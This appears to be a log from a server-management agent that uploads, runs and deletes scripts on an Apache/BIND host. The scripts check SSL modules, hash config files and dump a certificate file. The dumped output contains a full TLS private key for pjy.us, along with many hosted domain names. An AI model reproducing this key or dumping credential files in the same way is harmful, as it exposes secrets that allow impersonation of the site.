bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-06-01 11:45:40: 

PUT: /tmp/pkp620358

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-01 11:45:40: 

chmod 755 /tmp/pkp620358; /tmp/pkp620358; rm /tmp/pkp620358

2026-06-01 11:45:40: 


status=ok


2026-06-01 11:45:40: 

PUT: /tmp/pkp236529

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-01 11:45:40: 

chmod 755 /tmp/pkp236529; /tmp/pkp236529; rm /tmp/pkp236529

2026-06-01 11:45:41: 
2026-06-01 11:45:41: 

PUT: /tmp/pkp641408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-01 11:45:41: 

chmod 755 /tmp/pkp641408; /tmp/pkp641408; rm /tmp/pkp641408

2026-06-01 11:45:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5333
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1489

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond %{REQUEST_URI} !^/\.well-known [NC]
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond %{REQUEST_URI} !^/\.well-known [NC]
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 4051f46761e3a7d9cd231674b9278365
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= 37d2dcb56d3c7832bfafa4a729b3848d
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 3d6fa603798e7fc18d2ad72c43a6bc84
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 593536907c22b2381a8a2587c48659ab
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 6f621d88492aa41de1094c11e543d284
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= f1a24654ad9cda557cc9e01139ff6bd8
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= e5a5226d18999bde7a38a43c56054d36
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 2d661899eef3106c074dceecc8e3cc19
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 6dc688f3b25a35b33c976d2e664a0540
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 44709beee68cd70545c41b15f7fd5233
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 4ea3d095d4c7a21df93f97338b860d8d
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp236529:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-02 06:00:01: Establishing a remote connection
2026-06-02 15:11:01: Establishing a connection
2026-06-02 15:11:22: Establishing a connection
2026-06-02 15:11:22: 

PUT: /tmp/pkp325199

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
